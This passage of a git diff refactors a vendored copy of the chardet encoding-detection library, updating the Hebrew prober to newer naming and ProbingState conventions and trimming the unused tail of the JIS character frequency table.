FINAL_NUN, FINAL_PE, - FINAL_TSADI] + return c in [self.FINAL_KAF, self.FINAL_MEM, self.FINAL_NUN, + self.FINAL_PE, self.FINAL_TSADI] def is_non_final(self, c): # The normal Tsadi is not a good Non-Final letter due to words like @@ -188,9 +190,10 @@ def is_non_final(self, c): # for example legally end with a Non-Final Pe or Kaf. However, the # benefit of these letters as Non-Final letters outweighs the damage # since these words are quite rare. - return wrap_ord(c) in [NORMAL_KAF, NORMAL_MEM, NORMAL_NUN, NORMAL_PE] + return c in [self.NORMAL_KAF, self.NORMAL_MEM, + self.NORMAL_NUN, self.NORMAL_PE] - def feed(self, aBuf): + def feed(self, byte_str): # Final letter analysis for logical-visual decision. # Look for evidence that the received buffer is either logical Hebrew # or visual Hebrew. @@ -217,67 +220,73 @@ def feed(self, aBuf): # We automatically filter out all 7-bit characters (replace them with # spaces) so the word boundary detection works properly. [MAP] - if self.get_state() == eNotMe: + if self.state == ProbingState.NOT_ME: # Both model probers say it's not them. No reason to continue. - return eNotMe + return ProbingState.NOT_ME - aBuf = self.filter_high_bit_only(aBuf) + byte_str = self.filter_high_byte_only(byte_str) - for cur in aBuf: + for cur in byte_str: if cur == ' ': # We stand on a space - a word just ended - if self._mBeforePrev != ' ': - # next-to-last char was not a space so self._mPrev is not a + if self._before_prev != ' ': + # next-to-last char was not a space so self._prev is not a # 1 letter word - if self.is_final(self._mPrev): + if self.is_final(self._prev): # case (1) [-2:not space][-1:final letter][cur:space] - self._mFinalCharLogicalScore += 1 - elif self.is_non_final(self._mPrev): + self._final_char_logical_score += 1 + elif self.is_non_final(self._prev): # case (2) [-2:not space][-1:Non-Final letter][ # cur:space] - self._mFinalCharVisualScore += 1 + self._final_char_visual_score += 1 else: # Not standing on a space - if ((self._mBeforePrev == ' ') and - (self.is_final(self._mPrev)) and (cur != ' ')): + if ((self._before_prev == ' ') and + (self.is_final(self._prev)) and (cur != ' ')): # case (3) [-2:space][-1:final letter][cur:not space] - self._mFinalCharVisualScore += 1 - self._mBeforePrev = self._mPrev - self._mPrev = cur + self._final_char_visual_score += 1 + self._before_prev = self._prev + self._prev = cur # Forever detecting, till the end or until both model probers return - # eNotMe (handled above) - return eDetecting + # ProbingState.NOT_ME (handled above) + return ProbingState.DETECTING - def get_charset_name(self): + @property + def charset_name(self): # Make the decision: is it Logical or Visual? # If the final letter score distance is dominant enough, rely on it. - finalsub = self._mFinalCharLogicalScore - self._mFinalCharVisualScore - if finalsub >= MIN_FINAL_CHAR_DISTANCE: - return LOGICAL_HEBREW_NAME - if finalsub <= -MIN_FINAL_CHAR_DISTANCE: - return VISUAL_HEBREW_NAME + finalsub = self._final_char_logical_score - self._final_char_visual_score + if finalsub >= self.MIN_FINAL_CHAR_DISTANCE: + return self.LOGICAL_HEBREW_NAME + if finalsub <= -self.MIN_FINAL_CHAR_DISTANCE: + return self.VISUAL_HEBREW_NAME # It's not dominant enough, try to rely on the model scores instead. - modelsub = (self._mLogicalProber.get_confidence() - - self._mVisualProber.get_confidence()) - if modelsub > MIN_MODEL_DISTANCE: - return LOGICAL_HEBREW_NAME - if modelsub < -MIN_MODEL_DISTANCE: - return VISUAL_HEBREW_NAME + modelsub = (self._logical_prober.get_confidence() + - self._visual_prober.get_confidence()) + if modelsub > self.MIN_MODEL_DISTANCE: + return self.LOGICAL_HEBREW_NAME + if modelsub < -self.MIN_MODEL_DISTANCE: + return self.VISUAL_HEBREW_NAME # Still no good, back to final letter distance, maybe it'll save the # day. if finalsub < 0.0: - return VISUAL_HEBREW_NAME + return self.VISUAL_HEBREW_NAME # (finalsub > 0 - Logical) or (don't know what to do) default to # Logical. - return LOGICAL_HEBREW_NAME + return self.LOGICAL_HEBREW_NAME + + @property + def language(self): + return 'Hebrew' - def get_state(self): + @property + def state(self): # Remain active as long as any of the model probers are active. - if (self._mLogicalProber.get_state() == eNotMe) and \ - (self._mVisualProber.get_state() == eNotMe): - return eNotMe - return eDetecting + if (self._logical_prober.state == ProbingState.NOT_ME) and \ + (self._visual_prober.state == ProbingState.NOT_ME): + return ProbingState.NOT_ME + return ProbingState.DETECTING diff --git a/thirdparty/chardet/jisfreq.py b/thirdparty/chardet/jisfreq.py index 064345b0867..83fc082b545 100644 --- a/thirdparty/chardet/jisfreq.py +++ b/thirdparty/chardet/jisfreq.py @@ -46,7 +46,7 @@ # Char to FreqOrder table , JIS_TABLE_SIZE = 4368 -JISCharToFreqOrder = ( +JIS_CHAR_TO_FREQ_ORDER = ( 40, 1, 6, 182, 152, 180, 295,2127, 285, 381,3295,4304,3068,4606,3165,3510, # 16 3511,1822,2785,4607,1193,2226,5070,4608, 171,2996,1247, 18, 179,5071, 856,1661, # 32 1262,5072, 619, 127,3431,3512,3230,1899,1700, 232, 228,1294,1298, 284, 283,2041, # 48 @@ -320,250 +320,6 @@ 2413,2477,1216,2725,2159, 334,3840,1328,3624,2921,1525,4132, 564,1056, 891,4363, # 4336 1444,1698,2385,2251,3729,1365,2281,2235,1717,6188, 864,3841,2515, 444, 527,2767, # 4352 2922,3625, 544, 461,6189, 566, 209,2437,3398,2098,1065,2068,3331,3626,3257,2137, # 4368 #last 512 -#Everything below is of no interest for detection purpose -2138,2122,3730,2888,1995,1820,1044,6190,6191,6192,6193,6194,6195,6196,6197,6198, # 4384 -6199,6200,6201,6202,6203,6204,6205,4670,6206,6207,6208,6209,6210,6211,6212,6213, # 4400 -6214,6215,6216,6217,6218,6219,6220,6221,6222,6223,6224,6225,6226,6227,6228,6229, # 4416 -6230,6231,6232,6233,6234,6235,6236,6237,3187,6238,6239,3969,6240,6241,6242,6243, # 4432 -6244,4671,6245,6246,4672,6247,6248,4133,6249,6250,4364,6251,2923,2556,2613,4673, # 4448 -4365,3970,6252,6253,6254,6255,4674,6256,6257,6258,2768,2353,4366,4675,4676,3188, # 4464 -4367,3463,6259,4134,4677,4678,6260,2267,6261,3842,3332,4368,3543,6262,6263,6264, # 4480 -3013,1954,1928,4135,4679,6265,6266,2478,3091,6267,4680,4369,6268,6269,1699,6270, # 4496 -3544,4136,4681,6271,4137,6272,4370,2804,6273,6274,2593,3971,3972,4682,6275,2236, # 4512 -4683,6276,6277,4684,6278,6279,4138,3973,4685,6280,6281,3258,6282,6283,6284,6285, # 4528 -3974,4686,2841,3975,6286,6287,3545,6288,6289,4139,4687,4140,6290,4141,6291,4142, # 4544 -6292,6293,3333,6294,6295,6296,4371,6297,3399,6298,6299,4372,3976,6300,6301,6302, # 4560 -4373,6303,6304,3843,3731,6305,4688,4374,6306,6307,3259,2294,6308,3732,2530,4143, # 4576 -6309,4689,6310,6311,6312,3048,6313,6314,4690,3733,2237,6315,6316,2282,3334,6317, # 4592 -6318,3844,6319,6320,4691,6321,3400,4692,6322,4693,6323,3049,6324,4375,6325,3977, # 4608 -6326,6327,6328,3546,6329,4694,3335,6330,4695,4696,6331,6332,6333,6334,4376,3978, # 4624 -6335,4697,3979,4144,6336,3980,4698,6337,6338,6339,6340,6341,4699,4700,4701,6342, # 4640 -6343,4702,6344,6345,4703,6346,6347,4704,6348,4705,4706,3135,6349,4707,6350,4708, # 4656 -6351,4377,6352,4709,3734,4145,6353,2506,4710,3189,6354,3050,4711,3981,6355,3547, # 4672 -3014,4146,4378,3735,2651,3845,3260,3136,2224,1986,6356,3401,6357,4712,2594,3627, # 4688 -3137,2573,3736,3982,4713,3628,4714,4715,2682,3629,4716,6358,3630,4379,3631,6359, # 4704 -6360,6361,3983,6362,6363,6364,6365,4147,3846,4717,6366,6367,3737,2842,6368,4718, # 4720 -2628,6369,3261,6370,2386,6371,6372,3738,3984,4719,3464,4720,3402,6373,2924,3336, # 4736 -4148,2866,6374,2805,3262,4380,2704,2069,2531,3138,2806,2984,6375,2769,6376,4721, # 4752 -4722,3403,6377,6378,3548,6379,6380,2705,3092,1979,4149,2629,3337,2889,6381,3338, # 4768 -4150,2557,3339,4381,6382,3190,3263,3739,6383,4151,4723,4152,2558,2574,3404,3191, # 4784 -6384,6385,4153,6386,4724,4382,6387,6388,4383,6389,6390,4154,6391,4725,3985,6392, # 4800 -3847,4155,6393,6394,6395,6396,6397,3465,6398,4384,6399,6400,6401,6402,6403,6404, # 4816 -4156,6405,6406,6407,6408,2123,6409,6410,2326,3192,4726,6411,6412,6413,6414,4385, # 4832 -4157,6415,6416,4158,6417,3093,3848,6418,3986,6419,6420,3849,6421,6422,6423,4159, # 4848 -6424,6425,4160,6426,3740,6427,6428,6429,6430,3987,6431,4727,6432,2238,6433,6434, # 4864 -4386,3988,6435,6436,3632,6437,6438,2843,6439,6440,6441,6442,3633,6443,2958,6444, # 4880 -6445,3466,6446,2364,4387,3850,6447,4388,2959,3340,6448,3851,6449,4728,6450,6451, # 4896 -3264,4729,6452,3193,6453,4389,4390,2706,3341,4730,6454,3139,6455,3194,6456,3051, # 4912 -2124,3852,1602,4391,4161,3853,1158,3854,4162,3989,4392,3990,4731,4732,4393,2040, # 4928 -4163,4394,3265,6457,2807,3467,3855,6458,6459,6460,3991,3468,4733,4734,6461,3140, # 4944 -2960,6462,4735,6463,6464,6465,6466,4736,4737,4738,4739,6467,6468,4164,2403,3856, # 4960 -6469,6470,2770,2844,6471,4740,6472,6473,6474,6475,6476,6477,6478,3195,6479,4741, # 4976 -4395,6480,2867,6481,4742,2808,6482,2493,4165,6483,6484,6485,6486,2295,4743,6487, # 4992 -6488,6489,3634,6490,6491,6492,6493,6494,6495,6496,2985,4744,6497,6498,4745,6499, # 5008 -6500,2925,3141,4166,6501,6502,4746,6503,6504,4747,6505,6506,6507,2890,6508,6509, # 5024 -6510,6511,6512,6513,6514,6515,6516,6517,6518,6519,3469,4167,6520,6521,6522,4748, # 5040 -4396,3741,4397,4749,4398,3342,2125,4750,6523,4751,4752,4753,3052,6524,2961,4168, # 5056 -6525,4754,6526,4755,4399,2926,4169,6527,3857,6528,4400,4170,6529,4171,6530,6531, # 5072 -2595,6532,6533,6534,6535,3635,6536,6537,6538,6539,6540,6541,6542,4756,6543,6544, # 5088 -6545,6546,6547,6548,4401,6549,6550,6551,6552,4402,3405,4757,4403,6553,6554,6555, # 5104 -4172,3742,6556,6557,6558,3992,3636,6559,6560,3053,2726,6561,3549,4173,3054,4404, # 5120 -6562,6563,3993,4405,3266,3550,2809,4406,6564,6565,6566,4758,4759,6567,3743,6568, # 5136 -4760,3744,4761,3470,6569,6570,6571,4407,6572,3745,4174,6573,4175,2810,4176,3196, # 5152 -4762,6574,4177,6575,6576,2494,2891,3551,6577,6578,3471,6579,4408,6580,3015,3197, # 5168 -6581,3343,2532,3994,3858,6582,3094,3406,4409,6583,2892,4178,4763,4410,3016,4411, # 5184 -6584,3995,3142,3017,2683,6585,4179,6586,6587,4764,4412,6588,6589,4413,6590,2986, # 5200 -6591,2962,3552,6592,2963,3472,6593,6594,4180,4765,6595,6596,2225,3267,4414,6597, # 5216 -3407,3637,4766,6598,6599,3198,6600,4415,6601,3859,3199,6602,3473,4767,2811,4416, # 5232 -1856,3268,3200,2575,3996,3997,3201,4417,6603,3095,2927,6604,3143,6605,2268,6606, # 5248 -3998,3860,3096,2771,6607,6608,3638,2495,4768,6609,3861,6610,3269,2745,4769,4181, # 5264 -3553,6611,2845,3270,6612,6613,6614,3862,6615,6616,4770,4771,6617,3474,3999,4418, # 5280 -4419,6618,3639,3344,6619,4772,4182,6620,2126,6621,6622,6623,4420,4773,6624,3018, # 5296 -6625,4774,3554,6626,4183,2025,3746,6627,4184,2707,6628,4421,4422,3097,1775,4185, # 5312 -3555,6629,6630,2868,6631,6632,4423,6633,6634,4424,2414,2533,2928,6635,4186,2387, # 5328 -6636,4775,6637,4187,6638,1891,4425,3202,3203,6639,6640,4776,6641,3345,6642,6643, # 5344 -3640,6644,3475,3346,3641,4000,6645,3144,6646,3098,2812,4188,3642,3204,6647,3863, # 5360 -3476,6648,3864,6649,4426,4001,6650,6651,6652,2576,6653,4189,4777,6654,6655,6656, # 5376 -2846,6657,3477,3205,4002,6658,4003,6659,3347,2252,6660,6661,6662,4778,6663,6664, # 5392 -6665,6666,6667,6668,6669,4779,4780,2048,6670,3478,3099,6671,3556,3747,4004,6672, # 5408 -6673,6674,3145,4005,3748,6675,6676,6677,6678,6679,3408,6680,6681,6682,6683,3206, # 5424 -3207,6684,6685,4781,4427,6686,4782,4783,4784,6687,6688,6689,4190,6690,6691,3479, # 5440 -6692,2746,6693,4428,6694,6695,6696,6697,6698,6699,4785,6700,6701,3208,2727,6702, # 5456 -3146,6703,6704,3409,2196,6705,4429,6706,6707,6708,2534,1996,6709,6710,6711,2747, # 5472 -6712,6713,6714,4786,3643,6715,4430,4431,6716,3557,6717,4432,4433,6718,6719,6720, # 5488 -6721,3749,6722,4006,4787,6723,6724,3644,4788,4434,6725,6726,4789,2772,6727,6728, # 5504 -6729,6730,6731,2708,3865,2813,4435,6732,6733,4790,4791,3480,6734,6735,6736,6737, # 5520 -4436,3348,6738,3410,4007,6739,6740,4008,6741,6742,4792,3411,4191,6743,6744,6745, # 5536 -6746,6747,3866,6748,3750,6749,6750,6751,6752,6753,6754,6755,3867,6756,4009,6757, # 5552 -4793,4794,6758,2814,2987,6759,6760,6761,4437,6762,6763,6764,6765,3645,6766,6767, # 5568 -3481,4192,6768,3751,6769,6770,2174,6771,3868,3752,6772,6773,6774,4193,4795,4438, # 5584 -3558,4796,4439,6775,4797,6776,6777,4798,6778,4799,3559,4800,6779,6780,6781,3482, # 5600 -6782,2893,6783,6784,4194,4801,4010,6785,6786,4440,6787,4011,6788,6789,6790,6791, # 5616 -6792,6793,4802,6794,6795,6796,4012,6797,6798,6799,6800,3349,4803,3483,6801,4804, # 5632 -4195,6802,4013,6803,6804,4196,6805,4014,4015,6806,2847,3271,2848,6807,3484,6808, # 5648 -6809,6810,4441,6811,4442,4197,4443,3272,4805,6812,3412,4016,1579,6813,6814,4017, # 5664 -6815,3869,6816,2964,6817,4806,6818,6819,4018,3646,6820,6821,4807,4019,4020,6822, # 5680 -6823,3560,6824,6825,4021,4444,6826,4198,6827,6828,4445,6829,6830,4199,4808,6831, # 5696 -6832,6833,3870,3019,2458,6834,3753,3413,3350,6835,4809,3871,4810,3561,4446,6836, # 5712 -6837,4447,4811,4812,6838,2459,4448,6839,4449,6840,6841,4022,3872,6842,4813,4814, # 5728 -6843,6844,4815,4200,4201,4202,6845,4023,6846,6847,4450,3562,3873,6848,6849,4816, # 5744 -4817,6850,4451,4818,2139,6851,3563,6852,6853,3351,6854,6855,3352,4024,2709,3414, # 5760 -4203,4452,6856,4204,6857,6858,3874,3875,6859,6860,4819,6861,6862,6863,6864,4453, # 5776 -3647,6865,6866,4820,6867,6868,6869,6870,4454,6871,2869,6872,6873,4821,6874,3754, # 5792 -6875,4822,4205,6876,6877,6878,3648,4206,4455,6879,4823,6880,4824,3876,6881,3055, # 5808 -4207,6882,3415,6883,6884,6885,4208,4209,6886,4210,3353,6887,3354,3564,3209,3485, # 5824 -2652,6888,2728,6889,3210,3755,6890,4025,4456,6891,4825,6892,6893,6894,6895,4211, # 5840 -6896,6897,6898,4826,6899,6900,4212,6901,4827,6902,2773,3565,6903,4828,6904,6905, # 5856 -6906,6907,3649,3650,6908,2849,3566,6909,3567,3100,6910,6911,6912,6913,6914,6915, # 5872 -4026,6916,3355,4829,3056,4457,3756,6917,3651,6918,4213,3652,2870,6919,4458,6920, # 5888 -2438,6921,6922,3757,2774,4830,6923,3356,4831,4832,6924,4833,4459,3653,2507,6925, # 5904 -4834,2535,6926,6927,3273,4027,3147,6928,3568,6929,6930,6931,4460,6932,3877,4461, # 5920 -2729,3654,6933,6934,6935,6936,2175,4835,2630,4214,4028,4462,4836,4215,6937,3148, # 5936 -4216,4463,4837,4838,4217,6938,6939,2850,4839,6940,4464,6941,6942,6943,4840,6944, # 5952 -4218,3274,4465,6945,6946,2710,6947,4841,4466,6948,6949,2894,6950,6951,4842,6952, # 5968 -4219,3057,2871,6953,6954,6955,6956,4467,6957,2711,6958,6959,6960,3275,3101,4843, # 5984 -6961,3357,3569,6962,4844,6963,6964,4468,4845,3570,6965,3102,4846,3758,6966,4847, # 6000 -3878,4848,4849,4029,6967,2929,3879,4850,4851,6968,6969,1733,6970,4220,6971,6972, # 6016 -6973,6974,6975,6976,4852,6977,6978,6979,6980,6981,6982,3759,6983,6984,6985,3486, # 6032 -3487,6986,3488,3416,6987,6988,6989,6990,6991,6992,6993,6994,6995,6996,6997,4853, # 6048 -6998,6999,4030,7000,7001,3211,7002,7003,4221,7004,7005,3571,4031,7006,3572,7007, # 6064 -2614,4854,2577,7008,7009,2965,3655,3656,4855,2775,3489,3880,4222,4856,3881,4032, # 6080 -3882,3657,2730,3490,4857,7010,3149,7011,4469,4858,2496,3491,4859,2283,7012,7013, # 6096 -7014,2365,4860,4470,7015,7016,3760,7017,7018,4223,1917,7019,7020,7021,4471,7022, # 6112 -2776,4472,7023,7024,7025,7026,4033,7027,3573,4224,4861,4034,4862,7028,7029,1929, # 6128 -3883,4035,7030,4473,3058,7031,2536,3761,3884,7032,4036,7033,2966,2895,1968,4474, # 6144 -3276,4225,3417,3492,4226,2105,7034,7035,1754,2596,3762,4227,4863,4475,3763,4864, # 6160 -3764,2615,2777,3103,3765,3658,3418,4865,2296,3766,2815,7036,7037,7038,3574,2872, # 6176 -3277,4476,7039,4037,4477,7040,7041,4038,7042,7043,7044,7045,7046,7047,2537,7048, # 6192 -7049,7050,7051,7052,7053,7054,4478,7055,7056,3767,3659,4228,3575,7057,7058,4229, # 6208 -7059,7060,7061,3660,7062,3212,7063,3885,4039,2460,7064,7065,7066,7067,7068,7069, # 6224 -7070,7071,7072,7073,7074,4866,3768,4867,7075,7076,7077,7078,4868,3358,3278,2653, # 6240 -7079,7080,4479,3886,7081,7082,4869,7083,7084,7085,7086,7087,7088,2538,7089,7090, # 6256 -7091,4040,3150,3769,4870,4041,2896,3359,4230,2930,7092,3279,7093,2967,4480,3213, # 6272 -4481,3661,7094,7095,7096,7097,7098,7099,7100,7101,7102,2461,3770,7103,7104,4231, # 6288 -3151,7105,7106,7107,4042,3662,7108,7109,4871,3663,4872,4043,3059,7110,7111,7112, # 6304 -3493,2988,7113,4873,7114,7115,7116,3771,4874,7117,7118,4232,4875,7119,3576,2336, # 6320 -4876,7120,4233,3419,4044,4877,4878,4482,4483,4879,4484,4234,7121,3772,4880,1045, # 6336 -3280,3664,4881,4882,7122,7123,7124,7125,4883,7126,2778,7127,4485,4486,7128,4884, # 6352 -3214,3887,7129,7130,3215,7131,4885,4045,7132,7133,4046,7134,7135,7136,7137,7138, # 6368 -7139,7140,7141,7142,7143,4235,7144,4886,7145,7146,7147,4887,7148,7149,7150,4487, # 6384 -4047,4488,7151,7152,4888,4048,2989,3888,7153,3665,7154,4049,7155,7156,7157,7158, # 6400 -7159,7160,2931,4889,4890,4489,7161,2631,3889,4236,2779,7162,7163,4891,7164,3060, # 6416 -7165,1672,4892,7166,4893,4237,3281,4894,7167,7168,3666,7169,3494,7170,7171,4050, # 6432 -7172,7173,3104,3360,3420,4490,4051,2684,4052,7174,4053,7175,7176,7177,2253,4054, # 6448 -7178,7179,4895,7180,3152,3890,3153,4491,3216,7181,7182,7183,2968,4238,4492,4055, # 6464 -7184,2990,7185,2479,7186,7187,4493,7188,7189,7190,7191,7192,4896,7193,4897,2969, # 6480 -4494,4898,7194,3495,7195,7196,4899,4495,7197,3105,2731,7198,4900,7199,7200,7201, # 6496 -4056,7202,3361,7203,7204,4496,4901,4902,7205,4497,7206,7207,2315,4903,7208,4904, # 6512 -7209,4905,2851,7210,7211,3577,7212,3578,4906,7213,4057,3667,4907,7214,4058,2354, # 6528 -3891,2376,3217,3773,7215,7216,7217,7218,7219,4498,7220,4908,3282,2685,7221,3496, # 6544 -4909,2632,3154,4910,7222,2337,7223,4911,7224,7225,7226,4912,4913,3283,4239,4499, # 6560 -7227,2816,7228,7229,7230,7231,7232,7233,7234,4914,4500,4501,7235,7236,7237,2686, # 6576 -7238,4915,7239,2897,4502,7240,4503,7241,2516,7242,4504,3362,3218,7243,7244,7245, # 6592 -4916,7246,7247,4505,3363,7248,7249,7250,7251,3774,4506,7252,7253,4917,7254,7255, # 6608 -3284,2991,4918,4919,3219,3892,4920,3106,3497,4921,7256,7257,7258,4922,7259,4923, # 6624 -3364,4507,4508,4059,7260,4240,3498,7261,7262,4924,7263,2992,3893,4060,3220,7264, # 6640 -7265,7266,7267,7268,7269,4509,3775,7270,2817,7271,4061,4925,4510,3776,7272,4241, # 6656 -4511,3285,7273,7274,3499,7275,7276,7277,4062,4512,4926,7278,3107,3894,7279,7280, # 6672 -4927,7281,4513,7282,7283,3668,7284,7285,4242,4514,4243,7286,2058,4515,4928,4929, # 6688 -4516,7287,3286,4244,7288,4517,7289,7290,7291,3669,7292,7293,4930,4931,4932,2355, # 6704 -4933,7294,2633,4518,7295,4245,7296,7297,4519,7298,7299,4520,4521,4934,7300,4246, # 6720 -4522,7301,7302,7303,3579,7304,4247,4935,7305,4936,7306,7307,7308,7309,3777,7310, # 6736 -4523,7311,7312,7313,4248,3580,7314,4524,3778,4249,7315,3581,7316,3287,7317,3221, # 6752 -7318,4937,7319,7320,7321,7322,7323,7324,4938,4939,7325,4525,7326,7327,7328,4063, # 6768 -7329,7330,4940,7331,7332,4941,7333,4526,7334,3500,2780,1741,4942,2026,1742,7335, # 6784 -7336,3582,4527,2388,7337,7338,7339,4528,7340,4250,4943,7341,7342,7343,4944,7344, # 6800 -7345,7346,3020,7347,4945,7348,7349,7350,7351,3895,7352,3896,4064,3897,7353,7354, # 6816 -7355,4251,7356,7357,3898,7358,3779,7359,3780,3288,7360,7361,4529,7362,4946,4530, # 6832 -2027,7363,3899,4531,4947,3222,3583,7364,4948,7365,7366,7367,7368,4949,3501,4950, # 6848 -3781,4951,4532,7369,2517,4952,4252,4953,3155,7370,4954,4955,4253,2518,4533,7371, # 6864 -7372,2712,4254,7373,7374,7375,3670,4956,3671,7376,2389,3502,4065,7377,2338,7378, # 6880 -7379,7380,7381,3061,7382,4957,7383,7384,7385,7386,4958,4534,7387,7388,2993,7389, # 6896 -3062,7390,4959,7391,7392,7393,4960,3108,4961,7394,4535,7395,4962,3421,4536,7396, # 6912 -4963,7397,4964,1857,7398,4965,7399,7400,2176,3584,4966,7401,7402,3422,4537,3900, # 6928 -3585,7403,3782,7404,2852,7405,7406,7407,4538,3783,2654,3423,4967,4539,7408,3784, # 6944 -3586,2853,4540,4541,7409,3901,7410,3902,7411,7412,3785,3109,2327,3903,7413,7414, # 6960 -2970,4066,2932,7415,7416,7417,3904,3672,3424,7418,4542,4543,4544,7419,4968,7420, # 6976 -7421,4255,7422,7423,7424,7425,7426,4067,7427,3673,3365,4545,7428,3110,2559,3674, # 6992 -7429,7430,3156,7431,7432,3503,7433,3425,4546,7434,3063,2873,7435,3223,4969,4547, # 7008 -4548,2898,4256,4068,7436,4069,3587,3786,2933,3787,4257,4970,4971,3788,7437,4972, # 7024 -3064,7438,4549,7439,7440,7441,7442,7443,4973,3905,7444,2874,7445,7446,7447,7448, # 7040 -3021,7449,4550,3906,3588,4974,7450,7451,3789,3675,7452,2578,7453,4070,7454,7455, # 7056 -7456,4258,3676,7457,4975,7458,4976,4259,3790,3504,2634,4977,3677,4551,4260,7459, # 7072 -7460,7461,7462,3907,4261,4978,7463,7464,7465,7466,4979,4980,7467,7468,2213,4262, # 7088 -7469,7470,7471,3678,4981,7472,2439,7473,4263,3224,3289,7474,3908,2415,4982,7475, # 7104 -4264,7476,4983,2655,7477,7478,2732,4552,2854,2875,7479,7480,4265,7481,4553,4984, # 7120 -7482,7483,4266,7484,3679,3366,3680,2818,2781,2782,3367,3589,4554,3065,7485,4071, # 7136 -2899,7486,7487,3157,2462,4072,4555,4073,4985,4986,3111,4267,2687,3368,4556,4074, # 7152 -3791,4268,7488,3909,2783,7489,2656,1962,3158,4557,4987,1963,3159,3160,7490,3112, # 7168 -4988,4989,3022,4990,4991,3792,2855,7491,7492,2971,4558,7493,7494,4992,7495,7496, # 7184 -7497,7498,4993,7499,3426,4559,4994,7500,3681,4560,4269,4270,3910,7501,4075,4995, # 7200 -4271,7502,7503,4076,7504,4996,7505,3225,4997,4272,4077,2819,3023,7506,7507,2733, # 7216 -4561,7508,4562,7509,3369,3793,7510,3590,2508,7511,7512,4273,3113,2994,2616,7513, # 7232 -7514,7515,7516,7517,7518,2820,3911,4078,2748,7519,7520,4563,4998,7521,7522,7523, # 7248 -7524,4999,4274,7525,4564,3682,2239,4079,4565,7526,7527,7528,7529,5000,7530,7531, # 7264 -5001,4275,3794,7532,7533,7534,3066,5002,4566,3161,7535,7536,4080,7537,3162,7538, # 7280 -7539,4567,7540,7541,7542,7543,7544,7545,5003,7546,4568,7547,7548,7549,7550,7551, # 7296 -7552,7553,7554,7555,7556,5004,7557,7558,7559,5005,7560,3795,7561,4569,7562,7563, # 7312 -7564,2821,3796,4276,4277,4081,7565,2876,7566,5006,7567,7568,2900,7569,3797,3912, # 7328 -7570,7571,7572,4278,7573,7574,7575,5007,7576,7577,5008,7578,7579,4279,2934,7580, # 7344 -7581,5009,7582,4570,7583,4280,7584,7585,7586,4571,4572,3913,7587,4573,3505,7588, # 7360 -5010,7589,7590,7591,7592,3798,4574,7593,7594,5011,7595,4281,7596,7597,7598,4282, # 7376 -5012,7599,7600,5013,3163,7601,5014,7602,3914,7603,7604,2734,4575,4576,4577,7605, # 7392 -7606,7607,7608,7609,3506,5015,4578,7610,4082,7611,2822,2901,2579,3683,3024,4579, # 7408 -3507,7612,4580,7613,3226,3799,5016,7614,7615,7616,7617,7618,7619,7620,2995,3290, # 7424 -7621,4083,7622,5017,7623,7624,7625,7626,7627,4581,3915,7628,3291,7629,5018,7630, # 7440 -7631,7632,7633,4084,7634,7635,3427,3800,7636,7637,4582,7638,5019,4583,5020,7639, # 7456 -3916,7640,3801,5021,4584,4283,7641,7642,3428,3591,2269,7643,2617,7644,4585,3592, # 7472 -7645,4586,2902,7646,7647,3227,5022,7648,4587,7649,4284,7650,7651,7652,4588,2284, # 7488 -7653,5023,7654,7655,7656,4589,5024,3802,7657,7658,5025,3508,4590,7659,7660,7661, # 7504 -1969,5026,7662,7663,3684,1821,2688,7664,2028,2509,4285,7665,2823,1841,7666,2689, # 7520 -3114,7667,3917,4085,2160,5027,5028,2972,7668,5029,7669,7670,7671,3593,4086,7672, # 7536 -4591,4087,5030,3803,7673,7674,7675,7676,7677,7678,7679,4286,2366,4592,4593,3067, # 7552 -2328,7680,7681,4594,3594,3918,2029,4287,7682,5031,3919,3370,4288,4595,2856,7683, # 7568 -3509,7684,7685,5032,5033,7686,7687,3804,2784,7688,7689,7690,7691,3371,7692,7693, # 7584 -2877,5034,7694,7695,3920,4289,4088,7696,7697,7698,5035,7699,5036,4290,5037,5038, # 7600 -5039,7700,7701,7702,5040,5041,3228,7703,1760,7704,5042,3229,4596,2106,4089,7705, # 7616 -4597,2824,5043,2107,3372,7706,4291,4090,5044,7707,4091,7708,5045,3025,3805,4598, # 7632 -4292,4293,4294,3373,7709,4599,7710,5046,7711,7712,5047,5048,3806,7713,7714,7715, # 7648 -5049,7716,7717,7718,7719,4600,5050,7720,7721,7722,5051,7723,4295,3429,7724,7725, # 7664 -7726,7727,3921,7728,3292,5052,4092,7729,7730,7731,7732,7733,7734,7735,5053,5054, # 7680 -7736,7737,7738,7739,3922,3685,7740,7741,7742,7743,2635,5055,7744,5056,4601,7745, # 7696 -7746,2560,7747,7748,7749,7750,3923,7751,7752,7753,7754,7755,4296,2903,7756,7757, # 7712 -7758,7759,7760,3924,7761,5057,4297,7762,7763,5058,4298,7764,4093,7765,7766,5059, # 7728 -3925,7767,7768,7769,7770,7771,7772,7773,7774,7775,7776,3595,7777,4299,5060,4094, # 7744 -7778,3293,5061,7779,7780,4300,7781,7782,4602,7783,3596,7784,7785,3430,2367,7786, # 7760 -3164,5062,5063,4301,7787,7788,4095,5064,5065,7789,3374,3115,7790,7791,7792,7793, # 7776 -7794,7795,7796,3597,4603,7797,7798,3686,3116,3807,5066,7799,7800,5067,7801,7802, # 7792 -4604,4302,5068,4303,4096,7803,7804,3294,7805,7806,5069,4605,2690,7807,3026,7808, # 7808 -7809,7810,7811,7812,7813,7814,7815,7816,7817,7818,7819,7820,7821,7822,7823,7824, # 7824 -7825,7826,7827,7828,7829,7830,7831,7832,7833,7834,7835,7836,7837,7838,7839,7840, # 7840 -7841,7842,7843,7844,7845,7846,7847,7848,7849,7850,7851,7852,7853,7854,7855,7856, # 7856 -7857,7858,7859,7860,7861,7862,7863,7864,7865,7866,7867,7868,7869,7870,7871,7872, # 7872 -7873,7874,7875,7876,7877,7878,7879,7880,7881,7882,7883,7884,7885,7886,7887,7888, # 7888 -7889,7890,7891,7892,7893,7894,7895,7896,7897,7898,7899,7900,7901,7902,7903,7904, # 7904 -7905,7906,7907,7908,7909,7910,7911,7912,7913,7914,7915,7916,7917,7918,7919,7920, # 7920 -7921,7922,7923,7924,3926,7925,7926,7927,7928,7929,7930,7931,7932,7933,7934,7935, # 7936 -7936,7937,7938,7939,7940,7941,7942,7943,7944,7945,7946,7947,7948,7949,7950,7951, # 7952 -7952,7953,7954,7955,7956,7957,7958,7959,7960,7961,7962,7963,7964,7965,7966,7967, # 7968 -7968,7969,7970,7971,7972,7973,7974,7975,7976,7977,7978,7979,7980,7981,7982,7983, # 7984 -7984,7985,7986,7987,7988,7989,7990,7991,7992,7993,7994,7995,7996,7997,7998,7999, # 8000 -8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8010,8011,8012,8013,8014,8015, # 8016 -8016,8017,8018,8019,8020,8021,8022,8023,8024,8025,8026,8027,8028,8029,8030,8031, # 8032 